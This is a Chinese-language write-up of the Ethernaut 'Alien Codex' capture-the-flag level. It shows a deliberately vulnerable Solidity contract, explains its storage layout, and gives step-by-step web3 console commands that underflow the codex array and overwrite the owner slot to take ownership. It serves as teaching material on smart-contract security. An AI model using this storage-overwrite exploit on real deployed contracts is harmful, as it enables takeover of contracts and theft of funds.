Alien Codex
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
题目要求
题目要求获得合约的Owner
权限
题目分析
合约继承自Ownable合约,Ownable
合约中存在address private _owner;
状态变量。
以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽,其初始值为 0
根据Storage
存储规则,可以推出slot
布局如下
-------------------------------
| contact(1)| _owner(20) | <- slot 0
-------------------------------
| codex.length(32) | <- slot 1
-------------------------------
| codex[0] | <- slot keccak256(1)
-------------------------------
| ... | <- slot ...
-------------------------------
| codex[2^256-1-keccak256(1)] | <- slot max
-------------------------------
我们看到合约中retract
方法没有对codex
的长度做溢出限制,revise
方法又可以对数组任意位置进行赋值。所以可以通过codex
数组溢出到slot0
来修改owner
的存储
攻击步骤
- 调用
make_contact
解除调用限制
await contract.make_contact()
- 调用
retract
方法,使数组长度溢出
await contract.retract()
- 读取当前
slot0
的位置
await web3.eth.getStorageAt(instance,0)
=> 0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
是由两部分组成
0x000000000000000000000001
: 表示bool
类型的contact
变量的值。da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
: 表示owner
地址
从上面Storage
存储结构可以看出,只要我们给codex[2^256 - keccak256(1)]
位置赋值,就可以覆盖slot0
位置的变量数据
- 计算
2^256 - keccak256(1)
// 计算keccak256(1)
web3.utils.soliditySha3('1')
// 计算2^256 - keccak256(1)再转成hex值
// 注意,这里计算的时候去掉了0x new BN("b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6",16)
web3.utils.numberToHex(
new BN(2).pow(new BN(256)).sub(new BN("b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6",16)
).toString(10))
=> 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a
- 调用
revise
方法进行覆盖
await contract.revise(
"0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a",
"0x0000000000000000000000010680C383e268A5c6a1cCc0cAC3eCb009014Ae9f1" // 注意,这里只替换地址部分,前面bool变量保留
)